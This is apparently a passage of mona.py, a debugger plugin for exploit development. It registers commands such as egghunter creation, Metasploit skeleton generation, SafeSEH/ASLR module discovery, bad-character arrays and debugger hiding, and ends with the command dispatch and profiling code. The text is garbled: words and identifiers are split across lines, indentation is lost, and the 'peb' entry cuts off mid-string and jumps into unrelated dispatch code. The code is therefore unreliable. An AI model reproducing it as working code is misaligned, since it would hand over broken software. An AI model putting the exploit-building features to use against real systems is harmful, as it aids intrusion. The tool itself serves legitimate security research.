= MnCommand("find", "Fin
d bytes in memory", findUsage, procFind,"f")
commands["findwild"]
= MnCommand("findwild", "Find in
structions in memory, accepts wildcards", findwildUsage, procFindWild,"fw")
commands["assemble"]
= MnCommand("assemble", "Convert
instructions to opcode. Separate multiple instructions with #",assembleUsage,pr
ocAssemble,"asm")
commands["info"]
= MnCommand("info", "Sho
w information about a given address in the context of the loaded application",in
foUsage,procInfo)
commands["dump"]
= MnCommand("dump", "Dum
p the specified range of memory to a file", dumpUsage,procDump)
commands["offset"]
= MnCommand("offset", "Calculate the
number of bytes between two addresses", offsetUsage, procOffset)
commands["compare"]
= MnCommand("compare","C
ompare contents of a binary file with a copy in memory", compareUsage, procCompa
re,"cmp")
commands["breakpoint"]
= MnCommand("bp","Set a memory b
reakpoint on read/write or execute of a given address", bpUsage, procBp,"bp")
commands["nosafeseh"]
= MnCommand("nosafeseh", "Show m
odules that are not safeseh protected", nosafesehUsage, procModInfoS)
commands["nosafesehaslr"]
= MnCommand("nosafesehaslr", "Sh
ow modules that are not safeseh protected, not aslr and not rebased", nosafeseha
slrUsage, procModInfoSA)
commands["noaslr"]
= MnCommand("noaslr", "S
how modules that are not aslr or rebased", noaslrUsage, procModInfoA)
commands["findmsp"]
= MnCommand("findmsp","F
ind cyclic pattern in memory", findmspUsage,procFindMSP,"findmsf")
commands["suggest"]
= MnCommand("suggest","S
uggest an exploit buffer structure", suggestUsage,procSuggest)
commands["bytearray"]
= MnCommand("bytearray","Creates
a byte array, can be used to find bad characters",bytearrayUsage,procByteArray,
"ba")
commands["header"]
= MnCommand("header","Re
ad a binary file and convert content to a nice 'header' string",headerUsage,proc
PrintHeader)
commands["update"]
= MnCommand("update","Up
date mona to the latest version",updateUsage,procUpdate,"up")
commands["getpc"]
= MnCommand("getpc","Sho
w getpc routines for specific registers",getpcUsage,procgetPC)
commands["egghunter"]
= MnCommand("egghunter","Create
egghunter code",eggUsage,procEgg,"egg")
commands["stacks"]
= MnCommand("stacks","Sh
ow all stacks for all threads in the running application",stacksUsage,procStacks
)
commands["skeleton"]
= MnCommand("skeleton","Create a
Metasploit module skeleton with a cyclic pattern for a given type of exploit",s
keletonUsage,procSkeleton)
commands["breakfunc"]
= MnCommand("breakfunc","Set a b
reakpoint on an exported function in on or more dll's",bfUsage,procBf,"bf")
commands["heap"]
= MnCommand("heap","Show
heap related information",heapUsage,procHeap)
commands["getiat"]
= MnCommand("getiat","Sh
ow IAT of selected module(s)",getiatUsage,procGetIAT,"iat")
commands["geteat"]
= MnCommand("geteat","Show EAT of se
lected module(s)",geteatUsage,procGetEAT,"eat")
commands["pageacl"]
= MnCommand("pageacl","Show ACL asso
ciated with mapped pages",getpageACLUsage,procPageACL,"pacl")
commands["bpseh"]
= MnCommand("bpseh","Set a breakpoin
t on all current SEH Handler function pointers",bpsehUsage,procBPSeh,"sehbp")
commands["kb"]
= MnCommand("kb","Manage
Knowledgebase data",kbUsage,procKb,"kb")
commands["encode"]
= MnCommand("encode","En
code a series of bytes",encUsage,procEnc,"enc")
commands["unicodealign"]
= MnCommand("unicodealign","Gene
rate venetian alignment code for unicode stack buffer overflow",unicodealignUsag
e,procUnicodeAlign,"ua")
#commands["heapcookie"]
= MnCommand("heapcookie","Looks for
writeable pointers that can help avoiding cookie check during arbitrary free",h
eapCookieUsage,procHeapCookie,"hc")
if __DEBUGGERAPP__ == "Immunity Debugger":
commands["deferbp"]
= MnCommand("deferbp","S
et a deferred breakpoint",deferUsage,procBu,"bu")
commands["calltrace"] = MnCommand("calltrace","Log all
CALL instructions",calltraceUsage,procCallTrace,"ct")
if __DEBUGGERAPP__ == "WinDBG":
commands["fillchunk"] = MnCommand("fillchunk","Fill a
heap chunk referenced by a register",fillchunkUsage,procFillChunk,"fchunk")
commands["dumpobj"]
= MnCommand("dumpobj","D
ump the contents of an object",dumpobjUsage,procDumpObj,"do")
commands["dumplog"]
= MnCommand("dumplog","Dump obje
cts present in alloc/free log file",dumplogUsage,procDumpLog,"dl")
commands["changeacl"] = MnCommand("changeacl","Change
the ACL of a given page",changeaclUsage,procChangeACL,"ca")
commands["allocmem"]
= MnCommand("allocmem","Allocate
some memory in the process",allocmemUsage,procAllocMem,"alloc")
commands["tobp"]
= MnCommand("tobp","Gene
rate WinDBG syntax to create a logging breakpoint at given location",tobpUsage,p
rocToBp,"2bp")
commands["fwptr"]
= MnCommand("fwptr", "Fi
nd Writeable Pointers that get called", fwptrUsage, procFwptr, "fwp")
commands["sehchain"]
= MnCommand("sehchain","Show the
current SEH chain",sehchainUsage,procSehChain,"exchain")
commands["hidedebug"]
= MnCommand("hidedebug","Attempt
to hide the debugger",hidedebugUsage,procHideDebug,"hd")
commands["gflags"]
= MnCommand("gflags", "S
how current GFlags settings from PEB.NtGlobalFlag", gflagsUsage, procFlags, "gf"
)
commands["infodump"]
= MnCommand("infodump","Dumps sp
ecific parts of memory to file", infodumpUsage, procInfoDump,"if")
commands["peb"]
= MnCommand("peb","Show
commands[command].parseProc(opts)
else:
# maybe it's an alias
aliasfound = False
for cmd in commands:
if commands[cmd].alias == command:
commands[cmd].parseProc(opts)
aliasfound = True
if not aliasfound:
commands["help"].parseProc(None)
return("** Invalid command **")
# ----- report ----- #
endtime = datetime.datetime.now()
delta = endtime - starttime
dbg.log("")
dbg.logLines("[+] This mona.py action took %s\n" % str(delta))
dbg.setStatusBar("Done")
except:
dbg.log("*" * 80,highlight=True)
dbg.logLines(traceback.format_exc(),highlight=True)
dbg.log("*" * 80,highlight=True)
dbg.error(traceback.format_exc())
return ""
if __name__ == "__main__":
dbg.log("Hold on...")
# do we need to profile ?
doprofile = False
if "-profile" in sys.argv:
doprofile = True
dbg.log("Starting profiler...")
cProfile.run('main(sys.argv)', 'monaprofile')
else:
main(sys.argv)
if doprofile:
dbg.log("[+] Showing profile stats...")
p = pstats.Stats('monaprofile')
dbg.log(" ***** ALL *****")
p.print_stats()
dbg.log(" ***** CUMULATIVE *****")
p.sort_stats('cumulative').print_stats(30)
dbg.log(" ***** TIME *****")
p.sort_stats('time', 'cum').print_stats(30)
# clear memory
if __DEBUGGERAPP__ == "WinDBG":
dbglib.clearvars()
try:
allvars = [var for var in globals() if var[0] != "_"]
for var in allvars:
del globals()[var]
dbg = None
except:
pass